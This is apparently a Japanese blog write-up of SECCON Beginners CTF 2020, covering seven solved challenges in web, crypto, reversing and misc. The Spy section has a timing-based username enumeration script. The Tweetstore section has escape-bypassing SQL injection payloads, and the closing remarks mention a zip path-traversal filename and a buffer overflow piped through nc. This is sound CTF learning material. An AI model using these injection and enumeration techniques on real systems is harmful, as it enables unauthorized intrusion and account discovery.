去年に引き続き、SECCON Beginners CTF 2020に参加しました。
1週間経ってしまいましたが、writeupを残します。
今年から問題の難易度分けがされていた(Beginner/Easy/Medium/Hard)ようなので、その難易度とカテゴリを章タイトルに含めています。
結果
ぼっち参加で、Welcome含め7問解きました。578pts/165thです。
以下、解けた問題について書きます。
Welcome [Misc][Beginner]
問題
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
解答
今年はアナウンスがDiscordで行われていました。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
Spy [Web][Beginner]
問題
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt
app.py
にはサーバで動作しているプログラムが、employees.txt
には従業員名リストが記載されています。
リストにある従業員のうち、web toolにアカウントを持っているのは誰かを当てる問題です。
解答
webtoolにはログインフォーム(と解答用のチェックボックス)がありました。
ログインフォーム部分のソースを眺めてみると、いかにもヒントっぽい文章があります。
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
auth.calc_password_hash()
の中身は与えられていませんが、中でハッシュ値の計算を何回もやってる、と。
このメソッドを実行するのは存在するユーザ名を入力した時だけなので、time baseでどのユーザ名が存在するか絞れそうです。
ということで以下のプログラムを実行しました。
プログラム
import requests
import time
with open("spy/employees.txt", "r") as f:
names = f.readlines()
for name in names:
res = requests.post("https://spy.quals.beginners.seccon.jp/", data={"name": name.replace("\n", ""), "password": "aaa"})
# res.elapsed.total_seconds() でリクエストを投げてからレスポンスが来るまでの時間を取得することができます
print(f"{name}\t{res.elapsed.total_seconds()}")
time.sleep(1)
実行結果
# 1回目
Arthur
0.463981
Barbara
0.322457
Christine
0.336144
David
0.316962
Elbert
0.778635
Franklin
0.352202
George
0.748759
Harris
0.351095
Ivan
0.306774
Jane
0.342613
Kevin
0.37561
Lazarus
0.687484
Marc
1.010536
Nathan
0.308334
Oliver
0.387014
Paul
0.319418
Quentin
0.263524
Randolph
0.287061
Scott
0.325723
Tony
0.609152
Ulysses
0.287524
Vincent
0.318695
Wat
0.516639
Ximena
0.992983
Yvonne
0.583938
Zalmon 0.317047
----------------------------
# 2回目
Arthur
0.339514
Barbara
0.373505
Christine
0.322952
David
0.289035
Elbert
0.887787
Franklin
0.348394
George
0.739493
Harris
0.372608
Ivan
0.436093
Jane
0.296183
Kevin
0.356206
Lazarus
0.668086
Marc
0.830005
Nathan
0.29933
Oliver
0.429959
Paul
0.275024
Quentin
0.281638
Randolph
0.324527
Scott
0.759424
Tony
1.315716
Ulysses
0.454661
Vincent
0.4579
Wat
0.322795
Ximena
0.98959
Yvonne
0.727903
Zalmon 0.297842
1回だと微妙な数値もあったので2回実行しました。
(ちなみにこの問題、submitするとサーバ内での実行時間をサイトのフッタに出力してくれていました。……が、解答時はそれに全く気が付かなかったのでrequests
のメソッドを用いて取得しています。)
特に時間が長そうなのは頭文字E, G, L, M, T, X, Y
の7人だったので、これを解答用のページで入力してflagをもらいました。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore [Web][Easy]
問題
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
ctf4b運営twitterアカウントのURL、内容、ツイート日時の3つを表で見ることができるwebページがあり、検索用のフォームと日時指定用のフォームが存在します。
また、Spyと同様にサーバで動いているプログラムが用意されています。先ほどはpythonのflaskでしたが、こっちはGoLangでした。Go勉強したい。
解答
いかにもSQLiですね。とりあえずプログラムの中身を見ると、以下のことが読み取れました。
// 省略
// SQL文を組み立てている部分
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
// 省略
// DB関連設定部分
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
// 省略
- postgresqlで実行していること
- フォーム内容はprepared statementsでなくそのまま文字列結合してSELECTしていること
-
'
は\'
に置換していること - DB操作を実行しているユーザ名がflagであること
置換は単純な置換なので、エスケープをさらにエスケープしてやればよさそうです。
試しにa\' --
を入力すると、内部的にはa\\' --
となりエラーが発生しないことが分かりました。
また、postgresqlはcurrent_user
で実行ユーザ名が取得できるようです。
そこで、以下のクエリを検索フォームに入力しました。
a\' union select current_user, current_user, current_user --
……が、エラー。列数もあっているはず……?ともう一度プログラムソースを見てみると、どうもSELECTの結果をstring, string, time.time
の変数に代入しているようです。
for rows.Next() {
var text string
var url string
var tweeted_at time.Time
err := rows.Scan(&url, &text, &tweeted_at)
if err != nil {
log.Fatal(err)
}
data = append(data, Tweets{url, text, tweeted_at})
}
ということで、3列目を適当に時間が出力されそうな値に変更するとユーザ名が出力されました。
a\' union select current_user, current_user, pg_conf_load_time() --
ctf4b{is_postgres_your_friend?}
ちなみに、上記ツイートの通り検索フォーム側でSQLiできるのは作問ミスだそうで、想定解はもうひとつのフォーム側でSQLiするものだったようです。この問題に取り掛かるのが早かったからか4番目くらいに解けて小躍りしてたのですが、想定解のみだと解くのにもっと時間がかかってそうですね……。Tweetstoreを作問しました.気づいている方もいるかもしれませんが,search paramでSQLiできるのは作問ミスです.limit句以降にあるSQLiで,ascii(substr((select user), 1, 1));-- のようなペイロードを使って表示件数から1文字ずつフラグを特定する,というのが想定解法でした.
— ゆ。 (@ytn86) May 24, 2020
参考文献
R&B [Crypto][beginner]
問題
Do you like rhythm and blues?
r_and_b.zip
r_and_b.zipの中身
from os import getenv
FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13(s):
# snipped
def base64(s):
# snipped
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
解答
problem.py
を読むと、ROT13
とbase64
を何度か繰り返しているようです。
どちらでエンコードしているかは頭文字がR
かB
かで分かるように作られているので、それに従ってデコード用のプログラムを書きました。
プログラム
import base64
import codecs
encoded = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="
while True:
if encoded[0] == "B":
encoded = base64.b64decode(encoded[1:]).decode()
else:
encoded = codecs.decode(encoded[1:], "rot13")
input(encoded)
デコード結果をinput()
で出力しているので、エンターを押すごとにデコード結果が出力されていくようにしています。
結果
> python encode.py
BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45
(略)
ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9
Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ctf4b{rot_base_rot_base_rot_base_base}
ctf4b{rot_base_rot_base_rot_base_base}
mask [Reversing][beginner]
問題
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
ここではmask
というファイルがダウンロードできます。elfファイルなので、実行権限をつけて実行するとこんな感じ。
$ chmod +x ./mask
$ ./mask
Usage: ./mask [FLAG]
$ ./mask testtest
Putting on masks...
teqtteqt
`ac``ac`
Wrong FLAG. Try again.
1文字1文字を何らかの方法で変換しているようです。
解答
とりあえずIDAにかけてみると、プログラム内で以下の文字列と比較していることが分かります。
1回目
atd4`qdedtUpetepqeUdaaeUeaqau
2回目
c`b bk`kj`KbababcaKbacaKiacki
(※ここからゴリ押しで解いてます)
おそらく上記の文字列が変換後のflagなので、引数にa-zと0-9を入れて対応表を作って解きました。
$ ./mask abcdefghijklmnopqrstuvwxyz1234567890
Putting on masks...
a`adede`a`adedepqpqtutupqp1014545010
abc`abchijkhijk`abc`abchij!"# !"#()
Wrong FLAG. Try again.
↓よって
atd4`qdedtUpetepqeUdaaeUeaqau
c`b bk`kj`KbababcaKbacaKiacki
は
ctf4b{dont_reverse_face_mask}
ctf4b{dont_reverse_face_mask}
emoemoencode [Misc][beginner]
問題文
Do you know emo-emo-encode?
emoemoencode.txt
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解答
絵文字の暗号?を復号する問題のようです。
最初は問題名そのものの暗号かなにかがあるのかと思ってググったりしてたので、結構時間を食ってしまいました。
結局、おそらくflag文字列と1:1対応で文字コードをずらしているのだろう……と思いつきました。その通りにプログラムを書くと、無事合っていたようでflagを獲得することができました。
emojis = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
# 最初の5文字は多分"ctf4b"だよね!ってことで
num = ord(emojis[0]) - ord("c")
result = ""
for emoji in emojis:
unicode = ord(emoji)
result += chr(unicode - num)
print(result)
ctf4b{stegan0graphy_by_em000000ji}
yakisoba [Reversing][easy]
問題文
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
yakisoba
というファイルをダウンロードできます。elfファイルのようです。
解答
問題文に「分析を自動化しろ」みたいなヒントがあります。
ということで、以前別のwriteupで見かけたangr
を使ってみることにしました。angr
はリバースエンジニアリングのためのpythonライブラリで、条件を与えてやることでフラグを自動で探してくれます。
ここでは「flagを出力するアドレスを通り、"Wrong!"を出力するアドレスを通らないこと」を条件として設定しました。
このアドレスはIDAを開いて該当の行にカーソルを合わせることで分かります。
最初、とりあえず使ってみようと思ってインタプリタで実行してみたら通ってしまったので、そのままログを貼っておきます。
$ python
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import angr
>>> p = angr.Project("./yakisoba")
WARNING | 2020-05-24 09:03:36,475 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>> state = p.factory.entry_state()
>>> simgr = p.factory.simgr(state)
>>> simgr.explore(find=0x4006d9, avoid=0x407000)
<SimulationManager with 23 active, 159 deadended, 1 found>
>>> simgr.found[0].posix.dumps(0)
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'
ほぼ参考サイトのコピペなので、ちゃんと使い方を勉強しておきたいです……。
ctf4b{sp4gh3tt1_r1pp3r1n0}
参考文献
http://saotake.hatenablog.com/entry/2016/06/03/213100
https://imurasheen.hatenablog.com/entry/2019/07/19/032549
http://www.intellilink.co.jp/article/column/ctf01.html
所感
しばらくCTFに触れていなかったこともあり、思ったより解けなかったなあ……という感じです。とはいえ、去年に比べると1問増えたのでそこは良かったかな、と。
あと、[beginner]タグの問題がすべては解けなかったのがとても悔しいです。唯一解けなかったbeginners stack
ですが、バッファオーバーフローによってcongratulations!
を出力させることまでは出来ていました。ただ、そのあと使えるようになるはずのシェルが使えない……というところで延々と詰まってました。
python -c 'print 云々' | nc サーバ
でやってたのですが、作問者さんの解説によるとその方法ではシェルがすぐに閉じられてしまう?みたいですね。勉強します……。
unzip
も解こうとして解けなかった問題のひとつです。/flag.txt
にflagがあることから、アップロードするzipファイルに何らかの形で../../flag.txt
という名前のファイルを含めることができたらいけそうなことまでは分かりました。こちらはzipファイル作成後にバイナリをいじってファイル名を変えてやればいいそうですが、これは自力で思いつきたかったです。
今回も楽しかったです!来年は[easy]タグ制覇したいです。勉強します(n回目)。